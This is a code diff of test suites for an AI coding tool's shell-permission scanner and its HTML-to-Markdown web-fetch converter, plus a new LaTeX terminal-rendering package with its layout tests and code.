output: "hello",
saved: ["greet *", "printf *"],
},
{
name: "parameter fallback",
command: 'value=; printf %s "${value:-fallback}"',
output: "fallback",
saved: ["printf *"],
},
{
name: "arithmetic statement",
command: 'count=1; ((count += 1)); printf %s "$count"',
output: "2",
saved: ["((count += 1)) *", "printf *"],
},
{ name: "ANSI-C quoting", command: "printf %s $'a\\nb'", output: "a\nb", saved: ["printf *"] },
]) {
test(`${shell} ${portable ? "native" : "legacy"}: ${fixture.name} reuses existing approvals`, () =>
withScanner(
portable,
(registry, directory) =>
Effect.gen(function* () {
const saved = yield* PermissionSaved.Service
const location = yield* Location.Service
yield* saved.add({ projectID: location.project.id, action: "shell", resources: fixture.saved })
const result = yield* runPermissionCommand(
registry,
fixture.command,
path.join(directory.active, "marker"),
[],
)
expect(result.requests).toEqual([])
expect(result.exit).toMatchObject({
_tag: "Success",
value: {
status: "completed",
metadata: { exit: 0 },
content: [{ type: "text", text: fixture.output }, { type: "text" }],
},
})
}),
shell,
))
}
test(`${shell} ${portable ? "native" : "legacy"}: a loop body deny prevents execution`, () =>
withScanner(
portable,
(registry, directory) =>
Effect.gen(function* () {
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [
{ action: "shell", resource: "*", effect: "allow" },
{ action: "shell", resource: "printf *", effect: "deny" },
]
}),
)
const marker = path.join(directory.active, "marker")
const result = yield* runPermissionCommand(
registry,
"for value in a; do printf body > marker; done",
marker,
[],
)
expect(result.exit).toMatchObject({
_tag: "Success",
value: { status: "error", error: { message: expect.stringContaining("Permission denied: shell") } },
})
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
}),
shell,
))
}
}
const pwsh = process.env.SHELL_SCAN_PWSH ?? Bun.which("pwsh") ?? Bun.which("powershell")
const test = pwsh ? permissionIt.live : permissionIt.live.skip
for (const portable of [false, true]) {
for (const command of [
'Write-Output "$(Write-Output hello)"',
'$value = "hello"; Write-Output $value',
"if ($true) { Write-Output hello } else { Write-Output other }",
"foreach ($value in @('hello')) { Write-Output $value }",
"ForEach-Object { Write-Output hello }",
"function Show-Value { Write-Output hello }; Show-Value",
"Write-Output `\n hello",
"Write-Output @'\nhello\n'@",
]) {
test(`PowerShell ${portable ? "native" : "legacy"}: ordinary syntax reuses approvals: ${command}`, () =>
withScanner(
portable,
(registry, directory) =>
Effect.gen(function* () {
const saved = yield* PermissionSaved.Service
const location = yield* Location.Service
yield* saved.add({
projectID: location.project.id,
action: "shell",
resources: ["Write-Output *", "Show-Value *"],
})
const result = yield* runPermissionCommand(registry, command, path.join(directory.active, "marker"), [])
expect(result.requests).toEqual([])
expect(result.exit).toMatchObject({
_tag: "Success",
value: { status: "completed", metadata: { exit: 0 } },
})
if (Exit.isSuccess(result.exit))
expect(result.exit.value.content?.[0]).toEqual({
type: "text",
text: isWindows ? "hello\r\n" : "hello\n",
})
}),
pwsh ?? "pwsh",
))
}
}
for (const [command, pattern] of [
["Write-Output\thello", "Write-Output\t*"],
["& 'Write-Output' hello", "& 'Write-Output' *"],
["Write-Output `\n hello", "Write-Output *"],
]) {
test(`PowerShell native: always allow covers repeat execution and preserves exact deny: ${command}`, () =>
withScanner(
true,
(registry, directory) =>
Effect.gen(function* () {
const marker = path.join(directory.active, "marker")
const first = yield* runPermissionCommand(registry, command, marker, ["always"])
expect(first.requests).toMatchObject([{ action: "shell", resources: [command], save: [pattern] }])
expect(first.exit).toMatchObject({ _tag: "Success", value: { status: "completed", metadata: { exit: 0 } } })
const repeat = yield* runPermissionCommand(registry, command, marker, [])
expect(repeat.requests).toEqual([])
expect(repeat.exit).toMatchObject({
_tag: "Success",
value: { status: "completed", metadata: { exit: 0 } },
})
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [{ action: "shell", resource: command, effect: "deny" }]
}),
)
const denied = yield* runPermissionCommand(registry, command, marker, [])
expect(denied.exit).toMatchObject({
_tag: "Success",
value: { status: "error", error: { message: expect.stringContaining("Permission denied: shell") } },
})
}),
pwsh ?? "pwsh",
))
}
})
describe("ShellTool", () => {
productionIt.live(
"registers and returns real successful output from the active Location",
@@ -517,30 +1007,106 @@ describe("ShellTool", () => {
{ timeout: 15_000 },
)
it.live("does not add external-directory permission for an experimental portable heredoc", () =>
Effect.acquireUseRelease(
Effect.promise(() => tmpdir()),
(tmp) =>
it.live("exposes malformed native syntax without fallback or partial execution", () =>
Effect.gen(function* () {
if (isWindows) return
for (const portable of [false, true]) {
yield* Effect.acquireUseRelease(
Effect.promise(() => tmpdir()),
(tmp) =>
Effect.gen(function* () {
reset()
yield* Effect.promise(() =>
Bun.write(
path.join(tmp.path, "opencode.json"),
JSON.stringify({ experimental: { portable_shell_scanner: portable } }),
),
)
const settled = yield* withSession(tmp.path, (registry) =>
Effect.gen(function* () {
const selection = yield* ShellSelect.Service
yield* selection.transform((draft) => draft.configure("sh"))
return yield* executeTool(
registry,
call({ command: 'printf hello > marker\necho "' }, "call-portable-malformed"),
)
}),
)
if (portable) {
expect(settled).toMatchObject({
status: "error",
error: { message: expect.stringContaining("unterminated-quote") },
})
expect(assertions).toEqual([])
expect(yield* Effect.promise(() => Bun.file(path.join(tmp.path, "marker")).exists())).toBe(false)
return
}
expect(settled.status).toBe("completed")
expect(settled.metadata?.exit).not.toBe(0)
expect(assertions.map((item) => item.action)).toEqual(["shell"])
expect(yield* Effect.promise(() => Bun.file(path.join(tmp.path, "marker")).text())).toBe("hello")
}),
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
)
}
}),
)
for (const shell of ["sh", "zsh"]) {
const test = isWindows || !Bun.which(shell) ? it.live.skip : it.live
test(
`preserves arithmetic and directory permissions with scanner flag on and off in ${shell}`,
() =>
Effect.gen(function* () {
if (isWindows) return
reset()
denyAction = "external_directory"
yield* Effect.promise(() =>
Bun.write(
path.join(tmp.path, "opencode.json"),
JSON.stringify({ experimental: { portable_shell_scanner: true } }),
const results = yield* Effect.forEach([false, true], (portable) =>
Effect.acquireUseRelease(
Effect.promise(() => tmpdir()),
(tmp) =>
Effect.gen(function* () {
reset()
yield* Effect.promise(() =>
Bun.write(
path.join(tmp.path, "opencode.json"),
JSON.stringify({ experimental: { portable_shell_scanner: portable } }),
),
)
yield* Effect.promise(() => fs.mkdir(path.join(tmp.path, "one", "two"), { recursive: true }))
yield* withSession(tmp.path, (registry) =>
Effect.gen(function* () {
const selection = yield* ShellSelect.Service
yield* selection.transform((draft) => draft.configure(shell))
for (const [command, output] of [
["echo $((1 + 1))", "2\n"],
["cd ~ && pwd", `${realpathSync(os.homedir())}\n`],
["cd one&&cd two&&pwd", `${path.join(tmp.path, "one", "two")}\n`],
]) {
const settled = yield* executeTool(registry, call({ command }, `call-parity-${command}`))
expect(settled.status).toBe("completed")
expect(settled.metadata).toMatchObject({ exit: 0 })
expect(settled.content?.[0]).toMatchObject({ type: "text", text: output })
}
}),
)
expect(assertions.map((item) => item.action)).toEqual([
"shell",
"external_directory",
"shell",
"shell",
])
expect(assertions[1]?.resources).toEqual([path.join(realpathSync(os.homedir()), "*")])
expect(assertions[0]).toMatchObject({ resources: ["echo $((1 + 1))"], save: ["echo *"] })
expect(assertions[2]).toMatchObject({ resources: ["pwd"], save: ["pwd *"] })
expect(assertions[3]).toMatchObject({ resources: ["pwd"], save: ["pwd *"] })
return assertions.slice()
}),
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
),
)
const settled = yield* withSession(tmp.path, (registry) =>
executeTool(registry, call({ command: "cat <<'EOF'\nhello\nEOF" }, "call-portable-heredoc")),
)
expect(settled.status).toBe("completed")
expect(assertions.map((item) => item.action)).toEqual(["shell"])
expect(settled.content?.[0]).toMatchObject({ type: "text", text: "hello\n" })
expect(results[1]).toEqual(results[0])
}),
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
),
)
{ timeout: 15_000 },
)
}
it.live("keeps non-zero exits useful", () =>
Effect.acquireUseRelease(
+30 -39
View File
@@ -114,18 +114,24 @@ describe("WebFetchTool helpers", () => {
expect(WebFetchTool.convertHTMLToMarkdown(html)).toBe("before after")
})
test("is deterministic and bounded for malformed maximum-size input", () => {
const html = `<main><p>${"visible &amp; text ".repeat(250_000)}</main></p></unknown>`
test("is deterministic and bounded for malformed input across parser chunks", () => {
const html = `<main><p>${"visible &amp; text ".repeat(4_096)}</main></p></unknown>`
const first = WebFetchTool.convertHTMLToMarkdown(html)
expect(WebFetchTool.convertHTMLToMarkdown(html)).toBe(first)
expect(first.startsWith("visible & text visible & text")).toBe(true)
expect(first.length).toBeLessThanOrEqual(html.length)
})
test("defaults to the production byte budget with room for closing syntax", () => {
const output = WebFetchTool.convertHTMLToMarkdown("x".repeat(WebFetchTool.MAX_RESPONSE_BYTES))
expect(WebFetchTool.MAX_RESPONSE_BYTES).toBe(5 * 1024 * 1024)
expect(output).toHaveLength(WebFetchTool.MAX_RESPONSE_BYTES - 64 * 1024)
})
test("bounds deeply nested list output and fragmented code fences", () => {
const lists = `${"<ul><li>item".repeat(2_000)}${"</li></ul>".repeat(2_000)}`
const quotes = `${"<blockquote><p>item".repeat(2_000)}${"</p></blockquote>".repeat(2_000)}`
const code = `<pre>${"` x ".repeat(250_000)}</pre>`
const code = `<pre>${"` x ".repeat(4_096)}</pre>`
expect(WebFetchTool.convertHTMLToMarkdown(lists).length).toBeLessThan(lists.length * 4)
expect(WebFetchTool.convertHTMLToMarkdown(quotes).length).toBeLessThan(quotes.length * 4)
expect(() => WebFetchTool.convertHTMLToMarkdown(code)).not.toThrow()
@@ -250,46 +256,35 @@ describe("WebFetchTool helpers", () => {
expect(WebFetchTool.convertHTMLToMarkdown(html)).toBe(`| a\\|b next | \`x\\|y\` |\n| --- | --- |`)
})
test("keeps each near-boundary inline construct closed and UTF-8-safe", () => {
const payload = "😀".repeat(WebFetchTool.MAX_RESPONSE_BYTES / 4)
test("preserves Unicode in inline constructs", () => {
const payload = "😀".repeat(16)
const cases = [
[`<strong>${payload}</strong>`, /^\*\*[\s\S]*\*\*$/],
[`<a href="/docs">${payload}</a>`, /^\[[\s\S]*\]\(\/docs\)$/],
[`<img src="image.png" alt="${payload}">`, /^!\[[\s\S]*\]\(image\.png\)$/],
[`<code>${payload}</code>`, /^`[\s\S]*`$/],
[`<strong>${payload}</strong>`, `**${payload}**`],
[`<a href="/docs">${payload}</a>`, `[${payload}](/docs)`],
[`<img src="image.png" alt="${payload}">`, `![${payload}](image.png)`],
[`<code>${payload}</code>`, `\`${payload}\``],
] as const
for (const [html, pattern] of cases) {
const output = WebFetchTool.convertHTMLToMarkdown(html)
expect(Buffer.byteLength(output)).toBeLessThanOrEqual(WebFetchTool.MAX_RESPONSE_BYTES)
expect(output).not.toContain("")
expect(output).toMatch(pattern)
for (const [html, expected] of cases) {
expect(WebFetchTool.convertHTMLToMarkdown(html)).toBe(expected)
}
})
test("keeps near-boundary block constructs syntactically complete", () => {
const payload = "x".repeat(WebFetchTool.MAX_RESPONSE_BYTES)
test("preserves block content and following lists", () => {
const payload = "x".repeat(256)
const table = WebFetchTool.convertHTMLToMarkdown(
`<table><tr><th>Name</th></tr><tr><td>${payload}</td></tr></table>`,
)
const list = WebFetchTool.convertHTMLToMarkdown(`<ul><li>${payload}</li></ul><ul><li>nested</li></ul>`)
const list = WebFetchTool.convertHTMLToMarkdown(`<ul><li>${payload}</li></ul><ul><li>next</li></ul>`)
const code = WebFetchTool.convertHTMLToMarkdown(`<pre>${payload}</pre>`)
for (const output of [table, list, code]) {
expect(Buffer.byteLength(output)).toBeLessThanOrEqual(WebFetchTool.MAX_RESPONSE_BYTES)
expect(output).not.toContain("")
}
expect(table).toMatch(/^\| Name \|\n\| --- \|\n\| [\s\S]* \|$/)
expect(list).toMatch(/^- [\s\S]*$/)
expect(list.includes("nested")).toBe(false)
expect(code.match(/^(`{3,}|~{3,})$/gm)).toHaveLength(2)
expect(table).toBe(`| Name |\n| --- |\n| ${payload} |`)
expect(list).toBe(`- ${payload}\n\n- next`)
expect(code).toBe(`\`\`\`\n${payload}\n\`\`\``)
})
test("keeps quoted code within budget with a safe closed fence", () => {
const html = `<blockquote><pre>${"`".repeat(32)}${"~".repeat(32)}${"x".repeat(WebFetchTool.MAX_RESPONSE_BYTES)}</pre></blockquote>`
const output = WebFetchTool.convertHTMLToMarkdown(html)
expect(Buffer.byteLength(output)).toBeLessThanOrEqual(WebFetchTool.MAX_RESPONSE_BYTES)
const lines = output.split("\n")
expect(lines[0]).toMatch(/^> (`{33}|~{33})$/)
expect(lines.at(-1)).toBe(lines[0])
test("keeps quoted code with long delimiter runs inside a safe closed fence", () => {
const payload = `${"`".repeat(32)}${"~".repeat(32)}${"x".repeat(64)}`
const output = WebFetchTool.convertHTMLToMarkdown(`<blockquote><pre>${payload}</pre></blockquote>`)
expect(output).toBe(`> ${"`".repeat(33)}\n> ${payload}\n> ${"`".repeat(33)}`)
})
test("separates reconstructed tables from adjacent inline and quoted content", () => {
@@ -299,13 +294,9 @@ describe("WebFetchTool helpers", () => {
)
})
test("keeps multiline quoted code closed at the content budget", () => {
const html = `<blockquote><pre>${"x\n".repeat(WebFetchTool.MAX_RESPONSE_BYTES / 2)}</pre></blockquote><p>tail</p>`
const output = WebFetchTool.convertHTMLToMarkdown(html)
expect(Buffer.byteLength(output)).toBeLessThanOrEqual(WebFetchTool.MAX_RESPONSE_BYTES)
expect((output.match(/(`{3}|~{3})/g) ?? []).length).toBe(2)
expect(output.includes("\uFFFD")).toBe(false)
expect(output.endsWith("tail")).toBe(true)
test("keeps multiline quoted code closed before following prose", () => {
const html = `<blockquote><pre>${"x\n".repeat(16)}</pre></blockquote><p>tail</p>`
expect(WebFetchTool.convertHTMLToMarkdown(html)).toBe(`> \`\`\`\n${"> x\n".repeat(16)}> \`\`\`\n\ntail`)
})
test("keeps active content suppressed when depth fallback begins", () => {
+25
View File
@@ -0,0 +1,25 @@
{
"$schema": "https://json.schemastore.org/package.json",
"name": "@opencode-ai/latex",
"version": "0.0.0",
"private": true,
"type": "module",
"exports": {
"./markdown": "./src/markdown.ts",
"./plugin": "./src/plugin.ts"
},
"scripts": {
"test": "bun test --timeout 30000 --only-failures",
"typecheck": "tsgo --noEmit"
},
"dependencies": {
"@opencode-ai/plugin": "workspace:*",
"@opentui/core": "catalog:",
"string-width": "catalog:"
},
"devDependencies": {
"@tsconfig/bun": "catalog:",
"@types/bun": "catalog:",
"@typescript/native-preview": "catalog:"
}
}
+87
View File
@@ -0,0 +1,87 @@
import { describe, expect, test } from "bun:test"
import { layoutMath } from "./layout"
import { renderLatexToString } from "./render"
const text = (value: string) => ({ type: "text" as const, value })
describe("structured math layout", () => {
test.each([
String.raw`\sqrt{x}`,
String.raw`\begin{pmatrix}a&b\\c&d\end{pmatrix}`,
String.raw`\underbrace{abcd}`,
String.raw`\overbrace{abcd}`,
String.raw`\sum`,
])("empty scripts do not change geometry: %s", (source) => {
for (const scripts of ["^{}", "_{}", "^{}_{}"]) {
expect(renderLatexToString(source + scripts)).toBe(renderLatexToString(source))
}
})
test("centers annotations over even-width brace junctions", () => {
expect(renderLatexToString(String.raw`\overbrace{abcd}^{n}`)).toBe([" n", "╭┴─╮", "abcd"].join("\n"))
expect(renderLatexToString(String.raw`\underbrace{abcd}_{n}`)).toBe(["abcd", "╰┬─╯", " n"].join("\n"))
})
test("raises powers above tall matrix delimiters", () => {
expect(renderLatexToString(String.raw`\begin{pmatrix}a&b\\c&d\end{pmatrix}^2`)).toBe(
[" 2", "⎛a b⎞", "⎜ ⎟", "⎝c d⎠"].join("\n"),
)
})
test("keeps piecewise values left-aligned", () => {
expect(renderLatexToString(String.raw`\begin{cases}x & x>0\\x^2+1 & x\le0\end{cases}`)).toBe(
["⎧x x > 0", "⎨", "⎩x² + 1 x ≤ 0"].join("\n"),
)
})
test("honors array column alignment and continuous separators", () => {
expect(
layoutMath({
type: "matrix",
environment: "array",
columns: "l|r",
rows: [
[text("a"), text("wide")],
[text("long"), text("b")],
],
}).toString(),
).toBe(["a │ wide", " │", "long │ b"].join("\n"))
})
test("preserves edge rules and double array separators", () => {
expect(
layoutMath({
type: "matrix",
environment: "array",
columns: "|l||r|",
rows: [
[text("a"), text("b")],
[text("long"), text("c")],
],
}).toString(),
).toBe(["│ a ││ b │", "│ ││ │", "│ long ││ c │"].join("\n"))
})
test.each(["left", "right"] as const)("aligns continued-fraction numerators to the %s", (numeratorAlign) => {
const layout = layoutMath({
type: "fraction",
numerator: text("1"),
denominator: text("12345"),
bar: true,
numeratorAlign,
})
expect(layout.toString()).toBe([numeratorAlign === "left" ? " 1" : " 1", "───────", " 12345"].join("\n"))
})
test.each(["over", "under"] as const)("stretches %s braces and places annotations outside them", (position) => {
const layout = layoutMath({
type: "scripts",
base: { type: "brace", body: text("a + b + c"), position },
...(position === "over" ? { superscript: text("n") } : { subscript: text("n") }),
})
expect(layout.toString()).toBe(
(position === "over" ? [" n", "╭───┴───╮", "a + b + c"] : ["a + b + c", "╰───┬───╯", " n"]).join("\n"),
)
expect(layout.baseline).toBe(position === "over" ? 2 : 0)
})
})
+673
View File
@@ -0,0 +1,673 @@
import type { MathCell, MathLayout, MathNode, MathStyle, MathVariant, RenderLatexOptions, SymbolRole } from "./types"
interface Box {
width: number
height: number
baseline: number
cells: Array<Array<MathCell | undefined>>
}
interface LayoutContext {
displayMode: boolean
compactScripts: boolean
style?: MathStyle
variant?: MathVariant
}
const graphemeSegmenter = new Intl.Segmenter(undefined, { granularity: "grapheme" })
const superscripts: Readonly<Record<string, string>> = {
"0": "⁰",
"1": "¹",
"2": "²",
"3": "³",
"4": "⁴",
"5": "⁵",
"6": "⁶",
"7": "⁷",
"8": "⁸",
"9": "⁹",
"+": "⁺",
"-": "⁻",
"=": "⁼",
"(": "⁽",
")": "⁾",
n: "ⁿ",
i: "ⁱ",
}
const subscripts: Readonly<Record<string, string>> = {
"0": "₀",
"1": "₁",
"2": "₂",
"3": "₃",
"4": "₄",
"5": "₅",
"6": "₆",
"7": "₇",
"8": "₈",
"9": "₉",
"+": "₊",
"-": "₋",
"=": "₌",
"(": "₍",
")": "₎",
a: "ₐ",
e: "ₑ",
h: "ₕ",
i: "ᵢ",
j: "ⱼ",
k: "ₖ",
l: "ₗ",
m: "ₘ",
n: "ₙ",
o: "ₒ",
p: "ₚ",
r: "ᵣ",
s: "ₛ",
t: "ₜ",
u: "ᵤ",
v: "ᵥ",
x: "ₓ",
}
export function layoutMath(node: MathNode, options: RenderLatexOptions = {}): MathLayout {
const context: LayoutContext = {
displayMode: options.displayMode ?? true,
compactScripts: options.compactScripts ?? true,
...(options.color ? { style: { color: options.color } } : {}),
}
return asPublicLayout(layoutNode(node, context))
}
function layoutNode(node: MathNode, context: LayoutContext): Box {
switch (node.type) {
case "row":
return layoutRow(node.body, context)
case "symbol":
case "text":
case "operator":
return textBox(applyVariant(node.value, context.variant), context.style)
case "space":
return blank(node.width, 1, 0)
case "fraction":
return layoutFraction(node, context)
case "root":
return layoutRoot(node.body, node.index, context)
case "scripts":
return layoutScripts(node, context)
case "delimited":
return layoutDelimited(node.left, node.body, node.right, context)
case "matrix":
return layoutMatrix(node, context)
case "brace":
return layoutBrace(node, context)
case "accent":
return layoutAccent(node.accent, node.body, context)
case "variant":
return layoutNode(node.body, withVariant(context, node.variant))
case "overunder":
return layoutOverUnder(node.base, node.over, node.under, context)
case "color":
return layoutNode(node.body, { ...context, style: { ...context.style, color: node.color } })
}
throw new Error("Unsupported math node")
}
function layoutRow(nodes: MathNode[], context: LayoutContext): Box {
if (nodes.length === 0) return blank(0, 1, 0)
const boxes: Box[] = []
let previousRole: SymbolRole | undefined
for (let index = 0; index < nodes.length; index++) {
const node = nodes[index]
const rawRole = nodeRole(node)
const role = normalizeBinaryRole(rawRole, previousRole, nextSignificantRole(nodes, index + 1))
if (needsMathSpace(previousRole, role, boxes.length)) boxes.push(blank(1, 1, 0))
boxes.push(layoutNode(node, context))
if (node.type !== "space") previousRole = role ?? "ordinary"
}
return hpack(boxes)
}
function layoutFraction(node: Extract<MathNode, { type: "fraction" }>, context: LayoutContext): Box {
const numerator = layoutNode(node.numerator, context)
const denominator = layoutNode(node.denominator, context)
const width = Math.max(numerator.width, denominator.width) + 2
// Barless fractions (binomials) still reserve an axis row so surrounding
// atoms and their stretching parentheses align between the two entries.
const gap = 1
const height = numerator.height + denominator.height + gap
// TeX places a fraction's math axis on its rule (or the equivalent empty
// axis row for a binomial). Align neighbors there, not on the denominator.
const baseline = numerator.height
const result = blank(width, height, baseline)
const numeratorX =
node.numeratorAlign === "left"
? 1
: node.numeratorAlign === "right"
? width - numerator.width - 1
: Math.floor((width - numerator.width) / 2)
overlay(result, numerator, numeratorX, 0)
if (node.bar) drawHorizontal(result, numerator.height, 0, width, "─", context.style)
overlay(result, denominator, Math.floor((width - denominator.width) / 2), numerator.height + gap)
return result
}
function layoutRoot(bodyNode: MathNode, indexNode: MathNode | undefined, context: LayoutContext): Box {
const body = layoutNode(bodyNode, context)
const index = indexNode ? layoutNode(indexNode, context) : undefined
const indexWidth = index ? Math.max(0, index.width - 1) : 0
// The index ends beside the overbar, never inside the hook or radicand.
const top = Math.max(0, (index?.height ?? 1) - 1)
const bodyX = indexWidth + 2
const width = bodyX + body.width
const height = top + body.height + 1
const baseline = top + body.baseline + 1
const result = blank(width, height, baseline)
setCell(result, bodyX - 1, top, "╭", context.style)
drawHorizontal(result, top, bodyX, body.width, "─", context.style)
for (let y = top + 1; y < height - 1; y++) setCell(result, bodyX - 1, y, "│", context.style)
setCell(result, bodyX - 2, height - 1, "╰", context.style)
setCell(result, bodyX - 1, height - 1, "╯", context.style)
overlay(result, body, bodyX, top + 1)
if (index) overlay(result, index, 0, 0)
return result
}
function layoutScripts(node: Extract<MathNode, { type: "scripts" }>, context: LayoutContext): Box {
const superscriptNode = node.superscript && simpleNodeText(node.superscript) !== "" ? node.superscript : undefined
const subscriptNode = node.subscript && simpleNodeText(node.subscript) !== "" ? node.subscript : undefined
if (node.base.type === "brace" || (node.base.type === "operator" && node.base.limits && context.displayMode)) {
return layoutOverUnder(node.base, superscriptNode, subscriptNode, context)
}
const base = layoutNode(node.base, context)
if (context.compactScripts && base.height === 1) {
const superscript = mapScript(superscriptNode ? simpleNodeText(superscriptNode) : "", superscripts)
const subscript = mapScript(subscriptNode ? simpleNodeText(subscriptNode) : "", subscripts)
if (superscript !== undefined && subscript !== undefined) {
return hpack([base, textBox(superscript + subscript, context.style)])
}
}
const superscript = superscriptNode ? layoutNode(superscriptNode, context) : undefined
const subscript = subscriptNode ? layoutNode(subscriptNode, context) : undefined
const scriptWidth = Math.max(superscript?.width ?? 0, subscript?.width ?? 0)
const topHeight = superscript?.height ?? 0
const bottomHeight = subscript?.height ?? 0
const width = base.width + scriptWidth
const height = topHeight + base.height + bottomHeight
const baseline = topHeight + base.baseline
const result = blank(width, height, baseline)
overlay(result, base, 0, topHeight)
if (superscript) overlay(result, superscript, base.width, 0)
if (subscript) overlay(result, subscript, base.width, topHeight + base.height)
return result
}
function layoutOverUnder(
baseNode: MathNode,
overNode: MathNode | undefined,
underNode: MathNode | undefined,
context: LayoutContext,
): Box {
const base = layoutNode(baseNode, context)
const over = overNode ? layoutNode(overNode, context) : undefined
const under = underNode ? layoutNode(underNode, context) : undefined
const width = Math.max(base.width, over?.width ?? 0, under?.width ?? 0)
const overHeight = over?.height ?? 0
const height = overHeight + base.height + (under?.height ?? 0)
const baseline = overHeight + base.baseline
const result = blank(width, height, baseline)
if (over) overlay(result, over, Math.floor((width - over.width) / 2), 0)
overlay(result, base, Math.floor((width - base.width) / 2), overHeight)
if (under) overlay(result, under, Math.floor((width - under.width) / 2), overHeight + base.height)
return result
}
function layoutDelimited(left: string, bodyNode: MathNode, right: string, context: LayoutContext): Box {
const body = layoutNode(bodyNode, context)
const leftBox = delimiterBox(left, body.height, body.baseline, true, context.style)
const rightBox = delimiterBox(right, body.height, body.baseline, false, context.style)
return hpack([leftBox, body, rightBox])
}
function layoutMatrix(node: Extract<MathNode, { type: "matrix" }>, context: LayoutContext): Box {
const cellRows = node.rows.map((row) => row.map((cell) => layoutNode(cell, context)))
const columns = node.columns?.match(/[lcr]/g)
const rules = node.columns?.split(/[lcr]/).map((rule) => rule.length) ?? []
const columnCount = Math.max(columns?.length ?? 0, ...cellRows.map((row) => row.length))
const columnWidths = Array.from({ length: columnCount }, (_, column) =>
Math.max(0, ...cellRows.map((row) => row[column]?.width ?? 0)),
)
const rowAscents = cellRows.map((row) => Math.max(0, ...row.map((cell) => cell.baseline)))
const rowDescents = cellRows.map((row) => Math.max(0, ...row.map((cell) => cell.height - cell.baseline - 1)))
const rowHeights = rowAscents.map((ascent, index) => ascent + 1 + rowDescents[index])
const aligned = node.environment === "aligned" || node.environment === "align"
const columnGap = node.environment === "cases" || aligned ? 2 : 1
const gaps = Array.from({ length: columnCount + 1 }, (_, boundary) => {
const edge = boundary === 0 || boundary === columnCount
return rules[boundary] ? rules[boundary] + (edge ? 1 : 2) : edge ? 0 : columnGap
})
const width = columnWidths.reduce((sum, value) => sum + value, 0) + gaps.reduce((sum, value) => sum + value, 0)
const height = Math.max(1, rowHeights.reduce((sum, value) => sum + value, 0) + Math.max(0, node.rows.length - 1))
const result = blank(width, height, Math.floor(height / 2))
let y = 0
for (let rowIndex = 0; rowIndex < cellRows.length; rowIndex++) {
let x = gaps[0]
const cells = cellRows[rowIndex]
for (let column = 0; column < columnCount; column++) {
const cell = cells[column]
const columnWidth = columnWidths[column]
if (cell) {
const alignment =
columns?.[column] ?? (node.environment === "cases" ? "l" : aligned ? (column % 2 === 0 ? "r" : "l") : "c")
const cellX =
x +
(alignment === "l"
? 0
: alignment === "r"
? columnWidth - cell.width
: Math.floor((columnWidth - cell.width) / 2))
const cellY = y + rowAscents[rowIndex] - cell.baseline
overlay(result, cell, cellX, cellY)
}
x += columnWidth + gaps[column + 1]
}
y += rowHeights[rowIndex] + 1
}
let boundaryX = 0
for (let boundary = 0; boundary <= columnCount; boundary++) {
for (let rule = 0; rule < (rules[boundary] ?? 0); rule++) {
for (let row = 0; row < height; row++) {
setCell(result, boundaryX + (boundary === 0 ? 0 : 1) + rule, row, "│", context.style)
}
}
boundaryX += gaps[boundary] + (columnWidths[boundary] ?? 0)
}
const delimiters = matrixDelimiters(node.environment)
return delimiters
? hpack([
delimiterBox(delimiters[0], height, result.baseline, true, context.style),
result,
delimiterBox(delimiters[1], height, result.baseline, false, context.style),
])
: result
}
function layoutBrace(node: Extract<MathNode, { type: "brace" }>, context: LayoutContext): Box {
const body = layoutNode(node.body, context)
const over = node.position === "over"
const width = Math.max(3, body.width)
const result = blank(width, body.height + 1, body.baseline + (over ? 1 : 0))
const y = over ? 0 : body.height
overlay(result, body, Math.floor((width - body.width) / 2), over ? 1 : 0)
drawHorizontal(result, y, 0, width, "─", context.style)
setCell(result, 0, y, over ? "╭" : "╰", context.style)
setCell(result, width - 1, y, over ? "╮" : "╯", context.style)
setCell(result, Math.floor((width - 1) / 2), y, over ? "┴" : "┬", context.style)
return result
}
function layoutAccent(
accent: Extract<MathNode, { type: "accent" }>["accent"],
bodyNode: MathNode,
context: LayoutContext,
): Box {
const body = layoutNode(bodyNode, context)
if (accent === "underline") {
const result = blank(body.width, body.height + 1, body.baseline)
overlay(result, body, 0, 0)
drawHorizontal(result, body.height, 0, body.width, "─", context.style)
return result
}
const result = blank(body.width, body.height + 1, body.baseline + 1)
overlay(result, body, 0, 1)
const mark =
accent === "hat" || accent === "widehat"
? body.width === 1
? "^"
: "⌢"
: accent === "bar" || accent === "overline"
? "─"
: accent === "vec"
? "→"
: accent === "tilde"
? "~"
: accent === "dot"
? "·"
: "¨"
if (accent === "bar" || accent === "overline") drawHorizontal(result, 0, 0, body.width, mark, context.style)
else setCell(result, Math.max(0, Math.floor((body.width - cellWidth(mark)) / 2)), 0, mark, context.style)
return result
}
function delimiterBox(
delimiter: string,
height: number,
baseline: number,
left: boolean,
style: MathStyle | undefined,
): Box {
if (!delimiter) return blank(0, height, baseline)
if (height <= 1) return textBox(delimiter, style)
const glyphs = delimiterGlyphs(delimiter)
const width = Math.max(...glyphs.map(cellWidth))
const result = blank(width, height, baseline)
for (let y = 0; y < height; y++) {
const glyph = y === 0 ? glyphs[0] : y === height - 1 ? glyphs[2] : glyphs[1]
setCell(result, 0, y, glyph, style)
}
if ((delimiter === "{" || delimiter === "}") && height >= 3) {
setCell(result, 0, Math.floor(height / 2), left ? "⎨" : "⎬", style)
}
return result
}
function delimiterGlyphs(delimiter: string): [string, string, string] {
switch (delimiter) {
case "(":
return ["⎛", "⎜", "⎝"]
case ")":
return ["⎞", "⎟", "⎠"]
case "[":
return ["⎡", "⎢", "⎣"]
case "]":
return ["⎤", "⎥", "⎦"]
case "{":
return ["⎧", "⎪", "⎩"]
case "}":
return ["⎫", "⎪", "⎭"]
case "⌊":
return ["│", "│", "⌊"]
case "⌋":
return ["│", "│", "⌋"]
case "⌈":
return ["⌈", "│", "│"]
case "⌉":
return ["⌉", "│", "│"]
case "⟨":
return ["/", "│", "\\"]
case "⟩":
return ["\\", "│", "/"]
default:
return [delimiter, delimiter, delimiter]
}
}
function matrixDelimiters(environment: string): [string, string] | undefined {
switch (environment) {
case "pmatrix":
return ["(", ")"]
case "bmatrix":
return ["[", "]"]
case "Bmatrix":
return ["{", "}"]
case "vmatrix":
return ["│", "│"]
case "Vmatrix":
return ["║", "║"]
case "cases":
return ["{", ""]
default:
return undefined
}
}
function hpack(boxes: Box[]): Box {
if (boxes.length === 0) return blank(0, 1, 0)
